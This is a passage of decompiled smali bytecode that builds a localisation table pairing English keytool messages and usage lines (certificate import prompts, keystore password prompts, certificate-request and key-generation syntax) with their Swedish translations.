                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
                                                                              918const-string v3, "Certifikatet finns redan i systemkeystore-filen under aliaset <{0}>"
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "Vill du fortfarande l\u00e4gga till det i din egen keystore-fil? [nej]: "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "Betror du det h\u00e4r certifikatet? [nej]: "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "JA"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "Nytt {0}: "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "L\u00f6senorden m\u00e5ste vara olika"
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "Ange nytt {0} igen: "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "Ange det nya l\u00f6senordet igen: "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "De matchar inte. F\u00f6rs\u00f6k igen"
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "Ange {0}-aliasnamn: "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "Ange ett nytt aliasnamn\t(skriv RETURN f\u00f6r att avbryta importen av denna post): "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "Ange aliasnamn: "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t(RETURN om det \u00e4r det samma som f\u00f6r <{0}>)"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "\u00c4gare: {0}\nUtf\u00e4rdare: {1}\nSerienummer: {2}\nGiltigt fr\u00e5n: {3} till: {4}\nCertifikatfingeravtryck:\n\t MD5: {5}\n\t SHA1: {6}\n\t Signaturalgoritm: {7}\n\t Version: {8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "Vad heter du i f\u00f6r- och efternamn?"
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "Vad heter din avdelning inom organisationen?"
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "Vad heter din organisation?"
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "Vad heter din ort eller plats?"
                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
                                                                              1080const-string v3, "Vad heter ditt land eller din provins?"
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "Vilken \u00e4r den tv\u00e5st\u00e4lliga landskoden?"
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "\u00c4r {0} korrekt?"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "nej"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "ja"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "j"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}]: "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "Aliaset <{0}> saknar nyckel"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "Aliaset <{0}> h\u00e4nvisar till en posttyp som inte \u00e4r n\u00e5gon privat nyckelpost. Kommandot -keyclone har endast st\u00f6d f\u00f6r kloning av privata nyckelposter"
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "***************** VARNING VARNING VARNING *****************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "* Integriteten betr\u00e4ffande den information som lagras i keystore-filen *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* Integriteten f\u00f6r informationen som lagras i srckeystore*"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* har INTE verifierats! Om du vill verifiera dess integritet, *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "* m\u00e5ste du tillhandah\u00e5lla ditt keystore-l\u00f6senord. *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* du m\u00e5ste ange l\u00f6senordet f\u00f6r srckeystore. *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "Certifikatsvaret inneh\u00e5ller inte n\u00e5gon offentlig nyckel f\u00f6r <{0}>"
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "Ofullst\u00e4ndig certifikatskedja i svaret"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "Certifikatskedjan i svaret g\u00e5r inte att verifiera: "
                                                                              1234aput-object v3, v2, v5
                                                                              1235aput-object v2, v0, v1
                                                                              1236const/16 v1, 0x89
                                                                              1237new-array v2, v6, [Ljava/lang/Object;
                                                                              1239const-string v3, "Top-level certificate in reply:\n"
                                                                              1240aput-object v3, v2, v4
                                                                              1242const-string v3, "Toppniv\u00e5certifikatet i svaret:\n"
                                                                              1243aput-object v3, v2, v5
                                                                              1244aput-object v2, v0, v1
                                                                              1245const/16 v1, 0x8a
                                                                              1246new-array v2, v6, [Ljava/lang/Object;
                                                                              1248const-string v3, "... is not trusted. "
                                                                              1249aput-object v3, v2, v4
                                                                              1251const-string v3, "... \u00e4r inte betrott. "
                                                                              1252aput-object v3, v2, v5
                                                                              1253aput-object v2, v0, v1
                                                                              1254const/16 v1, 0x8b
                                                                              1255new-array v2, v6, [Ljava/lang/Object;
                                                                              1257const-string v3, "Install reply anyway? [no]: "
                                                                              1258aput-object v3, v2, v4
                                                                              1260const-string v3, "Vill du installera svaret \u00e4nd\u00e5? [nej]: "
                                                                              1261aput-object v3, v2, v5
                                                                              1262aput-object v2, v0, v1
                                                                              1263const/16 v1, 0x8c
                                                                              1264new-array v2, v6, [Ljava/lang/Object;
                                                                              1266const-string v3, "NO"
                                                                              1267aput-object v3, v2, v4
                                                                              1269const-string v3, "NEJ"
                                                                              1270aput-object v3, v2, v5
                                                                              1271aput-object v2, v0, v1
                                                                              1272const/16 v1, 0x8d
                                                                              1273new-array v2, v6, [Ljava/lang/Object;
                                                                              1275const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1276aput-object v3, v2, v4
                                                                              1278const-string v3, "De offentliga nycklarna i svaret och keystore-filen matchar inte varandra"
                                                                              1279aput-object v3, v2, v5
                                                                              1280aput-object v2, v0, v1
                                                                              1281const/16 v1, 0x8e
                                                                              1282new-array v2, v6, [Ljava/lang/Object;
                                                                              1284const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1285aput-object v3, v2, v4
                                                                              1287const-string v3, "Certifikatssvaret och certifikatet i keystore-filen \u00e4r identiska"
                                                                              1288aput-object v3, v2, v5
                                                                              1289aput-object v2, v0, v1
                                                                              1290const/16 v1, 0x8f
                                                                              1291new-array v2, v6, [Ljava/lang/Object;
                                                                              1293const-string v3, "Failed to establish chain from reply"
                                                                              1294aput-object v3, v2, v4
                                                                              1296const-string v3, "Det gick inte att uppr\u00e4tta n\u00e5gon kedja ur svaret"
                                                                              1297aput-object v3, v2, v5
                                                                              1298aput-object v2, v0, v1
                                                                              1299const/16 v1, 0x90
                                                                              1300new-array v2, v6, [Ljava/lang/Object;
                                                                              1302const-string v3, "n"
                                                                              1303aput-object v3, v2, v4
                                                                              1305const-string v3, "n"
                                                                              1306aput-object v3, v2, v5
                                                                              1307aput-object v2, v0, v1
                                                                              1308const/16 v1, 0x91
                                                                              1309new-array v2, v6, [Ljava/lang/Object;
                                                                              1311const-string v3, "Wrong answer, try again"
                                                                              1312aput-object v3, v2, v4
                                                                              1314const-string v3, "Fel svar. F\u00f6rs\u00f6k p\u00e5 nytt."
                                                                              1315aput-object v3, v2, v5
                                                                              1316aput-object v2, v0, v1
                                                                              1317const/16 v1, 0x92
                                                                              1318new-array v2, v6, [Ljava/lang/Object;
                                                                              1320const-string v3, "Secret key not generated, alias <alias> already exists"
                                                                              1321aput-object v3, v2, v4
                                                                              1323const-string v3, "Den hemliga nyckeln har inte genererats eftersom aliaset <{0}> redan finns"
                                                                              1324aput-object v3, v2, v5
                                                                              1325aput-object v2, v0, v1
                                                                              1326const/16 v1, 0x93
                                                                              1327new-array v2, v6, [Ljava/lang/Object;
                                                                              1329const-string v3, "Please provide -keysize for secret key generation"
                                                                              1330aput-object v3, v2, v4
                                                                              1332const-string v3, "Ange -keysize f\u00f6r skapande av hemlig nyckel"
                                                                              1333aput-object v3, v2, v5
                                                                              1334aput-object v2, v0, v1
                                                                              1335const/16 v1, 0x94
                                                                              1336new-array v2, v6, [Ljava/lang/Object;
                                                                              1338const-string v3, "keytool usage:\n"
                                                                              1339aput-object v3, v2, v4
                                                                              1341const-string v3, "nyckelverktyg:\n"
                                                                              1342aput-object v3, v2, v5
                                                                              1343aput-object v2, v0, v1
                                                                              1344const/16 v1, 0x95
                                                                              1345new-array v2, v6, [Ljava/lang/Object;
                                                                              1347const-string v3, "Extensions: "
                                                                              1348aput-object v3, v2, v4
                                                                              1350const-string v3, "Filtill\u00e4gg: "
                                                                              1351aput-object v3, v2, v5
                                                                              1352aput-object v2, v0, v1
                                                                              1353const/16 v1, 0x96
                                                                              1354new-array v2, v6, [Ljava/lang/Object;
                                                                              1356const-string v3, "-certreq [-v] [-protected]"
                                                                              1357aput-object v3, v2, v4
                                                                              1359const-string v3, "-certreq [-v] [-protected]"
                                                                              1360aput-object v3, v2, v5
                                                                              1361aput-object v2, v0, v1
                                                                              1362const/16 v1, 0x97
                                                                              1363new-array v2, v6, [Ljava/lang/Object;
                                                                              1365const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1366aput-object v3, v2, v4
                                                                              1368const-string v3, "\t [-alias <alias>] [-sigalg <signaturalgoritm>]"
                                                                              1369aput-object v3, v2, v5
                                                                              1370aput-object v2, v0, v1
                                                                              1371const/16 v1, 0x98
                                                                              1372new-array v2, v6, [Ljava/lang/Object;
                                                                              1374const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1375aput-object v3, v2, v4
                                                                              1377const-string v3, "\t [-file <csr_fil>] [-keypass <nyckell\u00f6senord>]"
                                                                              1378aput-object v3, v2, v5
                                                                              1379aput-object v2, v0, v1
                                                                              1380const/16 v1, 0x99
                                                                              1381new-array v2, v6, [Ljava/lang/Object;
                                                                              1383const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1384aput-object v3, v2, v4
                                                                              1386const-string v3, "\t [-keystore <keystore>] [-storepass <lagringsl\u00f6senord>]"
                                                                              1387aput-object v3, v2, v5
                                                                              1388aput-object v2, v0, v1
                                                                              1389const/16 v1, 0x9a
                                                                              1390new-array v2, v6, [Ljava/lang/Object;
                                                                              1392const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1393aput-object v3, v2, v4
                                                                              1395const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1396aput-object v3, v2, v5
                                                                              1397aput-object v2, v0, v1
                                                                              1398const/16 v1, 0x9b
                                                                              1399new-array v2, v6, [Ljava/lang/Object;
                                                                              1401const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1402aput-object v3, v2, v4
                                                                              1404const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1405aput-object v3, v2, v5
                                                                              1406aput-object v2, v0, v1
                                                                              1407const/16 v1, 0x9c
                                                                              1408new-array v2, v6, [Ljava/lang/Object;
                                                                              1410const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1411aput-object v3, v2, v4
                                                                              1413const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1414aput-object v3, v2, v5
                                                                              1415aput-object v2, v0, v1
                                                                              1416const/16 v1, 0x9d
                                                                              1417new-array v2, v6, [Ljava/lang/Object;
                                                                              1419const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1420aput-object v3, v2, v4
                                                                              1422const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1423aput-object v3, v2, v5
                                                                              1424aput-object v2, v0, v1
                                                                              1425const/16 v1, 0x9e
                                                                              1426new-array v2, v6, [Ljava/lang/Object;
                                                                              1428const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1429aput-object v3, v2, v4
                                                                              1431const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1432aput-object v3, v2, v5
                                                                              1433aput-object v2, v0, v1
                                                                              1434const/16 v1, 0x9f
                                                                              1435new-array v2, v6, [Ljava/lang/Object;
                                                                              1437const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1438aput-object v3, v2, v4
                                                                              1440const-string v3, "\t [-alias <alias>] [-file <certifikatsfil>]"
                                                                              1441aput-object v3, v2, v5
                                                                              1442aput-object v2, v0, v1
                                                                              1443const/16 v1, 0xa0
                                                                              1444new-array v2, v6, [Ljava/lang/Object;
                                                                              1446const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1447aput-object v3, v2, v4
                                                                              1449const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1450aput-object v3, v2, v5
                                                                              1451aput-object v2, v0, v1
                                                                              1452const/16 v1, 0xa1
                                                                              1453new-array v2, v6, [Ljava/lang/Object;
                                                                              1455const-string v3, "\t [-alias <alias>]"
                                                                              1456aput-object v3, v2, v4
                                                                              1458const-string v3, "\t [-alias <alias>]"
                                                                              1459aput-object v3, v2, v5
                                                                              1460aput-object v2, v0, v1
                                                                              1461const/16 v1, 0xa2
                                                                              1462new-array v2, v6, [Ljava/lang/Object;
                                                                              1464const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1465aput-object v3, v2, v4
                                                                              1467const-string v3, "\t [-keyalg <nyckelalgoritm>] [-keysize <nyckelstorlek>]"
                                                                              1468aput-object v3, v2, v5
                                                                              1469aput-object v2, v0, v1
                                                                              1470const/16 v1, 0xa3
                                                                              1471new-array v2, v6, [Ljava/lang/Object;
                                                                              1473const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1474aput-object v3, v2, v4
                                                                              1476const-string v3, "\t [-sigalg <signaturalgoritm>] [-dname <dnamn>]"
                                                                              1477aput-object v3, v2, v5
                                                                              1478aput-object v2, v0, v1
                                                                              1479const/16 v1, 0xa4
                                                                              1480new-array v2, v6, [Ljava/lang/Object;
                                                                              1482const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1483aput-object v3, v2, v4
                                                                              1485const-string v3, "\t [-validity <dagar>] [-keypass <nyckell\u00f6senord>]"
                                                                              1486aput-object v3, v2, v5
                                                                              1487aput-object v2, v0, v1
                                                                              1488const/16 v1, 0xa5
                                                                              1489new-array v2, v6, [Ljava/lang/Object;
                                                                              1491const-string v3, "-genseckey [-v] [-protected]"
                                                                              1492aput-object v3, v2, v4
                                                                              1494const-string v3, "-genseckey [-v] [-protected]"
                                                                              1495aput-object v3, v2, v5
                                                                              1496aput-object v2, v0, v1
                                                                              1497const/16 v1, 0xa6
                                                                              1498new-array v2, v6, [Ljava/lang/Object;
                                                                              1500const-string v3, "-help"
                                                                              1501aput-object v3, v2, v4
                                                                              1503const-string v3, "-help"
                                                                              1504aput-object v3, v2, v5
                                                                              1505aput-object v2, v0, v1
                                                                              1506const/16 v1, 0xa7
                                                                              1507new-array v2, v6, [Ljava/lang/Object;
                                                                              1509const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1510aput-object v3, v2, v4
                                                                              1512const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1513aput-object v3, v2, v5
                                                                              1514aput-object v2, v0, v1
                                                                              1515const/16 v1, 0xa8
                                                                              1516new-array v2, v6, [Ljava/lang/Object;
                                                                              1518const-string v3, "\t [-alias <alias>]"
                                                                              1519aput-object v3, v2, v4
                                                                              1521const-string v3, "\t [-alias <alias>]"
                                                                              1522aput-object v3, v2, v5
                                                                              1523aput-object v2, v0, v1
                                                                              1524const/16 v1, 0xa9
                                                                              1525new-array v2, v6, [Ljava/lang/Object;
                                                                              1527const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1528aput-object v3, v2, v4
                                                                              1530const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1531aput-object v3, v2, v5
                                                                              1532aput-object v2, v0, v1
                                                                              1533const/16 v1, 0xaa
                                                                              1534new-array v2, v6, [Ljava/lang/Object;
                                                                              1536const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1537aput-object v3, v2, v4
                                                                              1539const-string v3, "\t [-file <certifikatsfil>] [-keypass <nyckell\u00f6senord>]"
                                                                              1540aput-object v3, v2, v5
                                                                              1541aput-object v2, v0, v1
                                                                              1542const/16 v1, 0xab
                                                                              1543new-array v2, v6, [Ljava/lang/Object;
                                                                              1545const-string v3, "-importkeystore [-v] "
                                                                              1546aput-object v3, v2, v4
                                                                              1548const-string v3, "-importkeystore [-v] "
                                                                              1549aput-object v3, v2, v5
                                                                              1550aput-object v2, v0, v1
                                                                              1551const/16 v1, 0xac
                                                                              1552new-array v2, v6, [Ljava/lang/Object;
                                                                              1554const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1555aput-object v3, v2, v4
                                                                              1557const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1558aput-object v3, v2, v5
                                                                              1559aput-object v2, v0, v1
                                                                              1560const/16 v1, 0xad
                                                                              1561new-array v2, v6, [Ljava/lang/Object;
                                                                              1563const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1564aput-object v3, v2, v4
                                                                              1566const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1567aput-object v3, v2, v5
                                                                              1568aput-object v2, v0, v1
                                                                              1569const/16 v1, 0xae
                                                                              1570new-array v2, v6, [Ljava/lang/Object;
                                                                              1572const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1573aput-object v3, v2, v4
                                                                              1575const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1576aput-object v3, v2, v5
                                                                              1577aput-object v2, v0, v1
                                                                              1578const/16 v1, 0xaf
                                                                              1579new-array v2, v6, [Ljava/lang/Object;
                                                                              1581const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1582aput-object v3, v2, v4
                                                                              1584const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1585aput-object v3, v2, v5
                                                                              1586aput-object v2, v0, v1
                                                                              1587const/16 v1, 0xb0
                                                                              1588new-array v2, v6, [Ljava/lang/Object;
                                                                              1590const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1591aput-object v3, v2, v4
                                                                              1593const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1594aput-object v3, v2, v5
                                                                              1595aput-object v2, v0, v1
                                                                              1596const/16 v1, 0xb1
                                                                              1597new-array v2, v6, [Ljava/lang/Object;
                                                                              1599const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1600aput-object v3, v2, v4
                                                                              1602const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1603aput-object v3, v2, v5
                                                                              1604aput-object v2, v0, v1
                                                                              1605const/16 v1, 0xb2
                                                                              1606new-array v2, v6, [Ljava/lang/Object;
                                                                              1608const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1609aput-object v3, v2, v4
                                                                              1611const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1612aput-object v3, v2, v5
                                                                              1613aput-object v2, v0, v1
                                                                              1614const/16 v1, 0xb3
                                                                              1615new-array v2, v6, [Ljava/lang/Object;
                                                                              1617const-string v3, "\t [-noprompt]"
                                                                              1618aput-object v3, v2, v4
                                                                              1620const-string v3, "\t [-noprompt]"
                                                                              1621aput-object v3, v2, v5
                                                                              1622aput-object v2, v0, v1
                                                                              1623const/16 v1, 0xb4
                                                                              1624new-array v2, v6, [Ljava/lang/Object;
                                                                              1626const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1627aput-object v3, v2, v4
                                                                              1629const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1630aput-object v3, v2, v5
                                                                              1631aput-object v2, v0, v1
                                                                              1632const/16 v1, 0xb5
                                                                              1633new-array v2, v6, [Ljava/lang/Object;
                                                                              1635const-string v3, "\t [-keypass <keypass>]"
                                                                              1636aput-object v3, v2, v4
                                                                              1638const-string v3, "\t [-keypass <keypass>]"
                                                                              1639aput-object v3, v2, v5
                                                                              1640aput-object v2, v0, v1
                                                                              1641const/16 v1, 0xb6
                                                                              1642new-array v2, v6, [Ljava/lang/Object;
                                                                              1644const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1645aput-object v3, v2, v4
                                                                              1647const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1648aput-object v3, v2, v5
                                                                              1649aput-object v2, v0, v1
                                                                              1650const/16 v1, 0xb7
                                                                              1651new-array v2, v6, [Ljava/lang/Object;
                                                                              1653const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1654aput-object v3, v2, v4
                                                                              1656const-string v3, "\t [-keypass <gammalt_nyckell\u00f6senord>] [-new <nytt_nyckell\u00f6senord>]"
                                                                              1657aput-object v3, v2, v5
                                                                              1658aput-object v2, v0, v1
                                                                              1659const/16 v1, 0xb8
                                                                              1660new-array v2, v6, [Ljava/lang/Object;
                                                                              1662const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1663aput-object v3, v2, v4
                                                                              1665const-string v3, "-list [-v | -rfc] [-protected]"
